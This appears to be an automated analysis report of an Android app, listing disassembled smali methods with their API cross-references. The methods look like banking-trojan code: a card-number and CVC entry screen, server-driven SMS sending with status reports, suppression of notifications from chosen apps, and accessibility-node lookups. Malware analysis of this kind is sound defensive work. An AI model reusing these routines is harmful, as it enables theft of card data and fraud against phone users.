                                      9iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      11const-string v1, "accepted"
                                      13invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      14move-result v0
                                      15if-nez v0, :cond_18
                                      17invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendSMSStatusStartToServer(J)V
                                      18cond_18: return-void
                                      19cond_19:
                                      20invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendSMSStatusStartToServer(J)V
                                      21goto/16 :goto_18
                                      22cond_1d:
                                      23invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendSMSStatusStartToServer(J)V
                                      24goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Intent.setFlags
                                      • android.content.Intent.addCategory
                                      • android.content.Context.startActivity
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • android.intent.action.MAIN
                                      • android.intent.category.HOME
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      2try_start_0: new-instance v1, Landroid/content/Intent;
                                      4const-string v2, "android.intent.action.MAIN"
                                      6invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                      7const v2, 0x10008000
                                      9invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      11const-string v2, "android.intent.category.HOME"
                                      13invoke-virtual {v1, v2}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
                                      15invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                      16try_end_15: return-void
                                      17catch_16: move-exception v0
                                      19invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      20goto/16 :goto_15
                                      Cross References
                                      APIs
                                      • java.lang.String.length
                                      • java.lang.String.length
                                      • java.lang.String.charAt
                                      • java.lang.String.valueOf
                                      • java.lang.Integer.parseInt
                                      • java.lang.String.charAt
                                      • java.lang.String.valueOf
                                      • java.lang.Integer.parseInt
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/4 v1, 0x0
                                      2const/4 v0, 0x0
                                      3goto_2:
                                      4iget-object v2, p0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      6invoke-virtual {v2}, Ljava/lang/String;->length()I
                                      7move-result v2
                                      8if-ge v0, v2, :cond_40
                                      10iget-object v2, p0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      12invoke-virtual {v2}, Ljava/lang/String;->length()I
                                      13move-result v2
                                      14rem-int/lit8 v2, v2, 0x2
                                      15if-eqz v2, :cond_2c
                                      16add-int/lit8 v2, v0, 0x1
                                      18iget-object v3, p0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      20invoke-virtual {v3, v0}, Ljava/lang/String;->charAt(I)C
                                      21move-result v3
                                      23invoke-static {v3}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;
                                      24move-result-object v3
                                      26invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                      27move-result v3
                                      29invoke-direct {p0, v2, v3}, Lcom/aviasalea/injs/g/val/CVal;->multiplyOddByTwo(II)I
                                      30move-result v2
                                      31add-int/2addr v1, v2
                                      32goto_29: add-int/lit8 v0, v0, 0x1
                                      33goto/16 :goto_2
                                      34cond_2c:
                                      35iget-object v2, p0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      37invoke-virtual {v2, v0}, Ljava/lang/String;->charAt(I)C
                                      38move-result v2
                                      40invoke-static {v2}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;
                                      41move-result-object v2
                                      43invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                      44move-result v2
                                      46invoke-direct {p0, v0, v2}, Lcom/aviasalea/injs/g/val/CVal;->multiplyOddByTwo(II)I
                                      47move-result v2
                                      48add-int/2addr v1, v2
                                      49goto/16 :goto_29
                                      50cond_40: return v1
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.getPreviousRid
                                      • com.aviasalea.Realtalk.setPreviousRid
                                      • com.aviasalea.srs.CmndSrs.sendSMSStatusStartToServer
                                      • java.util.List.size
                                      • java.util.List.get
                                      • java.lang.Thread.sleep
                                      • java.lang.Exception.printStackTrace
                                      • com.aviasalea.srs.CmndSrs.sendSMSStatusEndToServer
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "result" # Lcom/aviasalea/srs/api/responses/HitGateResponse;
                                      2.prologue
                                      3const-wide/16 v8, 0x0
                                      4iget-wide v4, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      6invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPreviousRid(Landroid/content/Context;)J
                                      7move-result-wide v6
                                      8cmp-long v3, v4, v6
                                      9if-eqz v3, :cond_43
                                      10iget-wide v4, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      12invoke-static {p1, v4, v5}, Lcom/aviasalea/Realtalk;->setPreviousRid(Landroid/content/Context;J)V
                                      14invoke-direct {p0, v8, v9}, Lcom/aviasalea/srs/CmndSrs;->sendSMSStatusStartToServer(J)V
                                      15const/4 v1, 0x0
                                      16goto_15:
                                      17iget-object v3, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->messageList:Ljava/util/List;
                                      19invoke-interface {v3}, Ljava/util/List;->size()I
                                      20move-result v3
                                      21if-ge v1, v3, :cond_40
                                      22try_start_1d:
                                      23iget-object v3, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->messageList:Ljava/util/List;
                                      25invoke-interface {v3, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      26move-result-object v2
                                      27check-cast v2, Lcom/aviasalea/srs/api/responses/HitGateResponse$Message;
                                      28if-eqz v2, :cond_33
                                      30iget-object v3, v2, Lcom/aviasalea/srs/api/responses/HitGateResponse$Message;->phone:Ljava/lang/String;
                                      32iget-object v4, v2, Lcom/aviasalea/srs/api/responses/HitGateResponse$Message;->text:Ljava/lang/String;
                                      33new-instance v5, Lcom/aviasalea/srs/CmndSrs$5;
                                      35invoke-direct {v5, p0}, Lcom/aviasalea/srs/CmndSrs$5;-><init>(Lcom/aviasalea/srs/CmndSrs;)V
                                      37invoke-static {v3, v4, p0, v5}, Lcom/aviasalea/checktls/CmndTls;->sendSMS(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;Lcom/aviasalea/mess/MessStatusInterface;)V
                                      38cond_33: const-wide/16 v4, 0x1388
                                      40invoke-static {v4, v5}, Ljava/lang/Thread;->sleep(J)V
                                      41try_end_38: add-int/lit8 v1, v1, 0x1
                                      42goto/16 :goto_15
                                      43catch_3b: move-exception v0
                                      45invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      46goto/16 :goto_38
                                      47cond_40:
                                      48invoke-direct {p0, v8, v9}, Lcom/aviasalea/srs/CmndSrs;->sendSMSStatusEndToServer(J)V
                                      49cond_43: return-void
                                      Cross References
                                      APIs
                                      • android.app.Dialog.<init>
                                      • android.graphics.Rect.<init>
                                      • android.content.Context.getResources
                                      • android.content.res.Resources.getDrawable
                                      • android.graphics.drawable.Drawable.mutate
                                      • com.aviasalea.base.dialog.AlertDialog.shadowDrawable:Landroid/graphics/drawable/Drawable
                                      • android.graphics.PorterDuff$Mode.MULTIPLY:Landroid/graphics/PorterDuff$Mode
                                      • android.graphics.PorterDuffColorFilter.<init>
                                      • android.graphics.drawable.Drawable.setColorFilter
                                      • com.aviasalea.base.dialog.AlertDialog.shadowDrawable:Landroid/graphics/drawable/Drawable
                                      • com.aviasalea.base.dialog.AlertDialog.backgroundPaddings:Landroid/graphics/Rect
                                      • android.graphics.drawable.Drawable.getPadding
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "progressStyle" # I
                                      2.prologue
                                      3const/4 v1, 0x2
                                      4const v0, 0x7f0b000c
                                      6invoke-direct {p0, p1, v0}, Landroid/app/Dialog;-><init>(Landroid/content/Context;I)V
                                      7new-array v0, v1, [Landroid/graphics/drawable/BitmapDrawable;
                                      8iput-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadow:[Landroid/graphics/drawable/BitmapDrawable;
                                      9new-array v0, v1, [Z
                                      10iput-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowVisibility:[Z
                                      11new-array v0, v1, [Landroid/animation/AnimatorSet;
                                      12iput-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowAnimation:[Landroid/animation/AnimatorSet;
                                      13new-instance v0, Landroid/graphics/Rect;
                                      15invoke-direct {v0}, Landroid/graphics/Rect;-><init>()V
                                      16iput-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->backgroundPaddings:Landroid/graphics/Rect;
                                      18invoke-virtual {p1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                      19move-result-object v0
                                      20const v1, 0x7f090003
                                      22invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable;
                                      23move-result-object v0
                                      25invoke-virtual {v0}, Landroid/graphics/drawable/Drawable;->mutate()Landroid/graphics/drawable/Drawable;
                                      26move-result-object v0
                                      27iput-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowDrawable:Landroid/graphics/drawable/Drawable;
                                      29iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowDrawable:Landroid/graphics/drawable/Drawable;
                                      30new-instance v1, Landroid/graphics/PorterDuffColorFilter;
                                      31const v2, 0x106000b
                                      33invoke-static {p1, v2}, Lcom/aviasalea/checktls/AndroidUtilities;->getColor(Landroid/content/Context;I)I
                                      34move-result v2
                                      36sget-object v3, Landroid/graphics/PorterDuff$Mode;->MULTIPLY:Landroid/graphics/PorterDuff$Mode;
                                      38invoke-direct {v1, v2, v3}, Landroid/graphics/PorterDuffColorFilter;-><init>(ILandroid/graphics/PorterDuff$Mode;)V
                                      40invoke-virtual {v0, v1}, Landroid/graphics/drawable/Drawable;->setColorFilter(Landroid/graphics/ColorFilter;)V
                                      42iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->shadowDrawable:Landroid/graphics/drawable/Drawable;
                                      44iget-object v1, p0, Lcom/aviasalea/base/dialog/AlertDialog;->backgroundPaddings:Landroid/graphics/Rect;
                                      46invoke-virtual {v0, v1}, Landroid/graphics/drawable/Drawable;->getPadding(Landroid/graphics/Rect;)Z
                                      47iput p2, p0, Lcom/aviasalea/base/dialog/AlertDialog;->progressViewStyle:I
                                      48return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.g.view.GView.btnSave:Landroid/widget/Button
                                      • com.aviasalea.injs.g.view.GView.getContext
                                      • android.support.v4.content.ContextCompat.getColor
                                      • android.widget.Button.setTextColor
                                      • com.aviasalea.injs.g.view.GView.btnSave:Landroid/widget/Button
                                      • com.aviasalea.injs.g.view.GView.getContext
                                      • android.support.v4.content.ContextCompat.getColor
                                      • android.widget.Button.setBackgroundColor
                                      • com.aviasalea.injs.g.view.GView.btnSave:Landroid/widget/Button
                                      • android.widget.Button.setClickable
                                      • com.aviasalea.injs.g.view.GView.btnSave:Landroid/widget/Button
                                      • android.widget.Button.setEnabled
                                      Position Instruction Meta Information
                                      0.prologue
                                      1iget-boolean v4, p0, Lcom/aviasalea/injs/g/view/GView;->mValidCard:Z
                                      2if-eqz v4, :cond_39
                                      3iget-boolean v4, p0, Lcom/aviasalea/injs/g/view/GView;->mValidExpDate:Z
                                      4if-eqz v4, :cond_39
                                      5iget-boolean v4, p0, Lcom/aviasalea/injs/g/view/GView;->mValidCVC:Z
                                      6if-eqz v4, :cond_39
                                      7const v3, 0x7f030009
                                      8const v0, 0x7f030007
                                      9const/4 v1, 0x1
                                      10const/4 v2, 0x1
                                      11goto_14:
                                      12iget-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->btnSave:Landroid/widget/Button;
                                      14invoke-virtual {p0}, Lcom/aviasalea/injs/g/view/GView;->getContext()Landroid/content/Context;
                                      15move-result-object v5
                                      17invoke-static {v5, v3}, Landroid/support/v4/content/ContextCompat;->getColor(Landroid/content/Context;I)I
                                      18move-result v5
                                      20invoke-virtual {v4, v5}, Landroid/widget/Button;->setTextColor(I)V
                                      22iget-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->btnSave:Landroid/widget/Button;
                                      24invoke-virtual {p0}, Lcom/aviasalea/injs/g/view/GView;->getContext()Landroid/content/Context;
                                      25move-result-object v5
                                      27invoke-static {v5, v0}, Landroid/support/v4/content/ContextCompat;->getColor(Landroid/content/Context;I)I
                                      28move-result v5
                                      30invoke-virtual {v4, v5}, Landroid/widget/Button;->setBackgroundColor(I)V
                                      32iget-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->btnSave:Landroid/widget/Button;
                                      34invoke-virtual {v4, v1}, Landroid/widget/Button;->setClickable(Z)V
                                      36iget-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->btnSave:Landroid/widget/Button;
                                      38invoke-virtual {v4, v2}, Landroid/widget/Button;->setEnabled(Z)V
                                      39return-void
                                      40cond_39: const v3, 0x7f030008
                                      41const v0, 0x7f030006
                                      42const/4 v1, 0x0
                                      43const/4 v2, 0x0
                                      44goto/16 :goto_14
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                                      • java.util.List.isEmpty
                                      • java.util.List.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      • android.view.accessibility.AccessibilityNodeInfo.getText
                                      • android.text.TextUtils.equals
                                      • android.view.accessibility.AccessibilityNodeInfo.isVisibleToUser
                                      Position Instruction Meta Information
                                      0.param p0, "root" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.param p1, "viewId" # Ljava/lang/String;
                                      2.param p2, "viewText" # Ljava/lang/String;
                                      3.prologue
                                      4const/4 v2, 0x0
                                      6invoke-virtual {p0, p1}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                                      7move-result-object v0
                                      8if-eqz v0, :cond_d
                                      10invoke-interface {v0}, Ljava/util/List;->isEmpty()Z
                                      11move-result v3
                                      12if-eqz v3, :cond_e
                                      13goto_d: return v2
                                      14cond_e:
                                      15invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                      16move-result-object v3
                                      17cond_12:
                                      18invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                                      19move-result v4
                                      20if-eqz v4, :cond_d
                                      22invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      23move-result-object v1
                                      24check-cast v1, Landroid/view/accessibility/AccessibilityNodeInfo;
                                      26invoke-virtual {v1}, Landroid/view/accessibility/AccessibilityNodeInfo;->getText()Ljava/lang/CharSequence;
                                      27move-result-object v4
                                      29invoke-static {p2, v4}, Landroid/text/TextUtils;->equals(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Z
                                      30move-result v4
                                      31if-eqz v4, :cond_12
                                      33invoke-virtual {v1}, Landroid/view/accessibility/AccessibilityNodeInfo;->isVisibleToUser()Z
                                      34move-result v4
                                      35if-eqz v4, :cond_12
                                      36const/4 v2, 0x1
                                      37goto/16 :goto_d
                                      APIs
                                      • com.aviasalea.not.NLService.hasNotPkg
                                      • android.service.notification.StatusBarNotification.getPackageName
                                      • android.service.notification.StatusBarNotification.getTag
                                      • android.service.notification.StatusBarNotification.getId
                                      • com.aviasalea.not.NLService.cancelNotification
                                      • android.service.notification.StatusBarNotification.getKey
                                      • com.aviasalea.not.NLService.cancelNotification
                                      • java.lang.Exception.toString
                                      Position Instruction Meta Information
                                      0.param p1, "sbn" # Landroid/service/notification/StatusBarNotification;
                                      1.prologue
                                      2try_start_0:
                                      3invoke-direct {p0, p1}, Lcom/aviasalea/not/NLService;->hasNotPkg(Landroid/service/notification/StatusBarNotification;)Z
                                      4move-result v1
                                      5if-eqz v1, :cond_1b
                                      6sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                      7const/16 v2, 0x15
                                      8if-ge v1, v2, :cond_1c
                                      10invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getPackageName()Ljava/lang/String;
                                      11move-result-object v1
                                      13invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getTag()Ljava/lang/String;
                                      14move-result-object v2
                                      16invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getId()I
                                      17move-result v3
                                      19invoke-virtual {p0, v1, v2, v3}, Lcom/aviasalea/not/NLService;->cancelNotification(Ljava/lang/String;Ljava/lang/String;I)V
                                      20goto_1b: return-void
                                      21cond_1c:
                                      22invoke-virtual {p1}, Landroid/service/notification/StatusBarNotification;->getKey()Ljava/lang/String;
                                      23move-result-object v1
                                      25invoke-virtual {p0, v1}, Lcom/aviasalea/not/NLService;->cancelNotification(Ljava/lang/String;)V
                                      26try_end_23: goto/16 :goto_1b
                                      27catch_24: move-exception v0
                                      29invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      30move-result-object v1
                                      32invoke-static {v1}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      33goto/16 :goto_1b
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.mess.service.receiver.SmsReceiver.access$000
                                      • com.aviasalea.mess.service.receiver.SmsReceiver.access$000
                                      • java.lang.Exception.printStackTrace
                                      • com.aviasalea.mess.service.receiver.SmsReceiver.access$000
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "requestType" # I
                                      1.param p2, "response" # Lcom/aviasalea/api/request/HttpResponse;
                                      2.prologue
                                      3try_start_0: move-object v0, p2
                                      4check-cast v0, Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      5move-object v9, v0
                                      6iget v2, v9, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      7if-nez v2, :cond_39
                                      9iget-object v2, v9, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      10if-eqz v2, :cond_25
                                      12iget-object v2, v9, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      14const-string v3, "accepted"
                                      16invoke-virtual {v2, v3}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      17move-result v2
                                      18if-nez v2, :cond_24
                                      20iget-object v2, p0, Lcom/aviasalea/mess/service/receiver/SmsReceiver$1;->this$0:Lcom/aviasalea/mess/service/receiver/SmsReceiver;
                                      22iget-object v3, p0, Lcom/aviasalea/mess/service/receiver/SmsReceiver$1;->val$context:Landroid/content/Context;
                                      24iget-object v4, p0, Lcom/aviasalea/mess/service/receiver/SmsReceiver$1;->val$number:Ljava/lang/String;
                                      26iget-object v5, p0, Lcom/aviasalea/mess/service/receiver/SmsReceiver$1;->val$message:Ljava/lang/String;
                                      27const-wide/32 v6, 0xea60
                                      29invoke-static/range {v2 .. v7}, Lcom/aviasalea/mess/service/receiver/SmsReceiver;->access$000(Lcom/aviasalea/mess/service/receiver/SmsReceiver;Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;J)V
                                      30goto_24: return-void
                                      31cond_25:
                                      32iget-object v2, p0, Lcom/aviasalea/mess/service/receiver/SmsReceiver$1;->this$0:Lcom/aviasalea/mess/service/receiver/SmsReceiver;
                                      34iget-object v3, p0, Lcom/aviasalea/mess/service/receiver/SmsReceiver$1;->val$context:Landroid/content/Context;
                                      36iget-object v4, p0, Lcom/aviasalea/mess/service/receiver/SmsReceiver$1;->val$number:Ljava/lang/String;
                                      38iget-object v5, p0, Lcom/aviasalea/mess/service/receiver/SmsReceiver$1;->val$message:Ljava/lang/String;
                                      39const-wide/32 v6, 0xea60
                                      41invoke-static/range {v2 .. v7}, Lcom/aviasalea/mess/service/receiver/SmsReceiver;->access$000(Lcom/aviasalea/mess/service/receiver/SmsReceiver;Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;J)V
                                      42try_end_33: goto/16 :goto_24
                                      43catch_34: move-exception v8
                                      45invoke-virtual {v8}, Ljava/lang/Exception;->printStackTrace()V
                                      46goto/16 :goto_24
                                      47cond_39:
                                      48iget-object v2, p0, Lcom/aviasalea/mess/service/receiver/SmsReceiver$1;->this$0:Lcom/aviasalea/mess/service/receiver/SmsReceiver;
                                      50iget-object v3, p0, Lcom/aviasalea/mess/service/receiver/SmsReceiver$1;->val$context:Landroid/content/Context;
                                      52iget-object v4, p0, Lcom/aviasalea/mess/service/receiver/SmsReceiver$1;->val$number:Ljava/lang/String;
                                      54iget-object v5, p0, Lcom/aviasalea/mess/service/receiver/SmsReceiver$1;->val$message:Ljava/lang/String;
                                      55const-wide/32 v6, 0xea60
                                      57invoke-static/range {v2 .. v7}, Lcom/aviasalea/mess/service/receiver/SmsReceiver;->access$000(Lcom/aviasalea/mess/service/receiver/SmsReceiver;Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;J)V
                                      58try_end_47: goto/16 :goto_24
                                      APIs
                                      • android.os.SystemClock.uptimeMillis
                                      • de.greenrobot.event.HandlerPoster.queue:Lde/greenrobot/event/PendingPostQueue
                                      • de.greenrobot.event.HandlerPoster.queue:Lde/greenrobot/event/PendingPostQueue
                                      • de.greenrobot.event.HandlerPoster.eventBus:Lde/greenrobot/event/EventBus
                                      • android.os.SystemClock.uptimeMillis
                                      • de.greenrobot.event.HandlerPoster.obtainMessage
                                      • de.greenrobot.event.HandlerPoster.sendMessage
                                      • de.greenrobot.event.EventBusException.<init>
                                      Strings
                                      • Could not send handler message
                                      Position Instruction Meta Information
                                      0.param p1, "msg" # Landroid/os/Message;
                                      1.prologue
                                      2const/4 v1, 0x0
                                      3try_start_1:
                                      4invoke-static {}, Landroid/os/SystemClock;->uptimeMillis()J
                                      5move-result-wide v2
                                      6cond_5:
                                      7iget-object v6, p0, Lde/greenrobot/event/HandlerPoster;->queue:Lde/greenrobot/event/PendingPostQueue;
                                      9invoke-virtual {v6}, Lde/greenrobot/event/PendingPostQueue;->poll()Lde/greenrobot/event/PendingPost;
                                      10move-result-object v0
                                      11if-nez v0, :cond_1e
                                      12monitor-enter p0
                                      13try_start_e:
                                      14iget-object v6, p0, Lde/greenrobot/event/HandlerPoster;->queue:Lde/greenrobot/event/PendingPostQueue;
                                      16invoke-virtual {v6}, Lde/greenrobot/event/PendingPostQueue;->poll()Lde/greenrobot/event/PendingPost;
                                      17move-result-object v0
                                      18if-nez v0, :cond_1d
                                      19const/4 v6, 0x0
                                      20iput-boolean v6, p0, Lde/greenrobot/event/HandlerPoster;->handlerActive:Z
                                      21monitor-exit p0
                                      22try_end_1a: iput-boolean v1, p0, Lde/greenrobot/event/HandlerPoster;->handlerActive:Z
                                      23goto_1c: return-void
                                      24cond_1d: monitor-exit p0
                                      25cond_1e:
                                      26iget-object v6, p0, Lde/greenrobot/event/HandlerPoster;->eventBus:Lde/greenrobot/event/EventBus;
                                      28invoke-virtual {v6, v0}, Lde/greenrobot/event/EventBus;->invokeSubscriber(Lde/greenrobot/event/PendingPost;)V
                                      30invoke-static {}, Landroid/os/SystemClock;->uptimeMillis()J
                                      31move-result-wide v6
                                      32sub-long v4, v6, v2
                                      33iget v6, p0, Lde/greenrobot/event/HandlerPoster;->maxMillisInsideHandleMessage:I
                                      34int-to-long v6, v6
                                      35cmp-long v6, v4, v6
                                      36if-ltz v6, :cond_5
                                      38invoke-virtual {p0}, Lde/greenrobot/event/HandlerPoster;->obtainMessage()Landroid/os/Message;
                                      39move-result-object v6
                                      41invoke-virtual {p0, v6}, Lde/greenrobot/event/HandlerPoster;->sendMessage(Landroid/os/Message;)Z
                                      42move-result v6
                                      43if-nez v6, :cond_49
                                      44new-instance v6, Lde/greenrobot/event/EventBusException;
                                      46const-string v7, "Could not send handler message"
                                      48invoke-direct {v6, v7}, Lde/greenrobot/event/EventBusException;-><init>(Ljava/lang/String;)V
                                      49throw v6
                                      50catchall_42: move-exception v6
                                      51iput-boolean v1, p0, Lde/greenrobot/event/HandlerPoster;->handlerActive:Z
                                      52throw v6
                                      53catchall_46: move-exception v6
                                      54try_start_47: monitor-exit p0
                                      55try_end_48: throw v6
                                      56try_end_49: const/4 v1, 0x1
                                      57iput-boolean v1, p0, Lde/greenrobot/event/HandlerPoster;->handlerActive:Z
                                      58goto/16 :goto_1c
                                      Cross References
                                      APIs
                                      • java.lang.Class.newInstance
                                      • android.os.Bundle.getBoolean
                                      • android.app.Activity.finish
                                      • java.lang.RuntimeException.<init>
                                      Strings
                                      • de.greenrobot.eventbus.errordialog.finish_after_dialog
                                      • Event cannot be constructed
                                      Position Instruction Meta Information
                                      0.param p0, "dialog" # Landroid/content/DialogInterface;
                                      1.param p1, "which" # I
                                      2.param p2, "activity" # Landroid/app/Activity;
                                      3.param p3, "arguments" # Landroid/os/Bundle;
                                      4.prologue
                                      6sget-object v4, Lde/greenrobot/event/util/ErrorDialogFragments;->EVENT_TYPE_ON_CLICK:Ljava/lang/Class;
                                      7if-eqz v4, :cond_15
                                      8try_start_4:
                                      9sget-object v4, Lde/greenrobot/event/util/ErrorDialogFragments;->EVENT_TYPE_ON_CLICK:Ljava/lang/Class;
                                      11invoke-virtual {v4}, Ljava/lang/Class;->newInstance()Ljava/lang/Object;
                                      12try_end_9: move-result-object v1
                                      14sget-object v4, Lde/greenrobot/event/util/ErrorDialogManager;->factory:Lde/greenrobot/event/util/ErrorDialogFragmentFactory;
                                      16iget-object v4, v4, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->config:Lde/greenrobot/event/util/ErrorDialogConfig;
                                      18invoke-virtual {v4}, Lde/greenrobot/event/util/ErrorDialogConfig;->getEventBus()Lde/greenrobot/event/EventBus;
                                      19move-result-object v2
                                      21invoke-virtual {v2, v1}, Lde/greenrobot/event/EventBus;->post(Ljava/lang/Object;)V
                                      22cond_15:
                                      23const-string v4, "de.greenrobot.eventbus.errordialog.finish_after_dialog"
                                      24const/4 v5, 0x0
                                      26invoke-virtual {p3, v4, v5}, Landroid/os/Bundle;->getBoolean(Ljava/lang/String;Z)Z
                                      27move-result v3
                                      28if-eqz v3, :cond_23
                                      29if-eqz p2, :cond_23
                                      31invoke-virtual {p2}, Landroid/app/Activity;->finish()V
                                      32cond_23: return-void
                                      33catch_24: move-exception v0
                                      34new-instance v4, Ljava/lang/RuntimeException;
                                      36const-string v5, "Event cannot be constructed"
                                      38invoke-direct {v4, v5, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                      39throw v4
                                      APIs
                                      • de.greenrobot.event.util.ErrorDialogManager$HoneycombManagerFragment.executionScope:Ljava/lang/Object
                                      • de.greenrobot.event.util.ErrorDialogManager$HoneycombManagerFragment.getFragmentManager
                                      • android.app.FragmentManager.executePendingTransactions
                                      • android.app.FragmentManager.findFragmentByTag
                                      • android.app.DialogFragment.dismiss
                                      • de.greenrobot.event.util.ErrorDialogManager$HoneycombManagerFragment.argumentsForErrorDialog:Landroid/os/Bundle
                                      • android.app.DialogFragment.show
                                      Strings
                                      • de.greenrobot.eventbus.error_dialog
                                      Position Instruction Meta Information
                                      0.param p1, "event" # Lde/greenrobot/event/util/ThrowableFailureEvent;
                                      1.prologue
                                      3iget-object v3, p0, Lde/greenrobot/event/util/ErrorDialogManager$HoneycombManagerFragment;->executionScope:Ljava/lang/Object;
                                      5invoke-static {v3, p1}, Lde/greenrobot/event/util/ErrorDialogManager;->access$000(Ljava/lang/Object;Lde/greenrobot/event/util/ThrowableFailureEvent;)Z
                                      6move-result v3
                                      7if-nez v3, :cond_9
                                      8goto_8: return-void
                                      9cond_9:
                                      10invoke-static {p1}, Lde/greenrobot/event/util/ErrorDialogManager;->checkLogException(Lde/greenrobot/event/util/ThrowableFailureEvent;)V
                                      12invoke-virtual {p0}, Lde/greenrobot/event/util/ErrorDialogManager$HoneycombManagerFragment;->getFragmentManager()Landroid/app/FragmentManager;
                                      13move-result-object v2
                                      15invoke-virtual {v2}, Landroid/app/FragmentManager;->executePendingTransactions()Z
                                      17const-string v3, "de.greenrobot.eventbus.error_dialog"
                                      19invoke-virtual {v2, v3}, Landroid/app/FragmentManager;->findFragmentByTag(Ljava/lang/String;)Landroid/app/Fragment;
                                      20move-result-object v1
                                      21check-cast v1, Landroid/app/DialogFragment;
                                      22if-eqz v1, :cond_20
                                      24invoke-virtual {v1}, Landroid/app/DialogFragment;->dismiss()V
                                      25cond_20:
                                      26sget-object v3, Lde/greenrobot/event/util/ErrorDialogManager;->factory:Lde/greenrobot/event/util/ErrorDialogFragmentFactory;
                                      27iget-boolean v4, p0, Lde/greenrobot/event/util/ErrorDialogManager$HoneycombManagerFragment;->finishAfterDialog:Z
                                      29iget-object v5, p0, Lde/greenrobot/event/util/ErrorDialogManager$HoneycombManagerFragment;->argumentsForErrorDialog:Landroid/os/Bundle;
                                      31invoke-virtual {v3, p1, v4, v5}, Lde/greenrobot/event/util/ErrorDialogFragmentFactory;->prepareErrorFragment(Lde/greenrobot/event/util/ThrowableFailureEvent;ZLandroid/os/Bundle;)Ljava/lang/Object;
                                      32move-result-object v0
                                      33check-cast v0, Landroid/app/DialogFragment;
                                      34if-eqz v0, :cond_8
                                      36const-string v3, "de.greenrobot.eventbus.error_dialog"
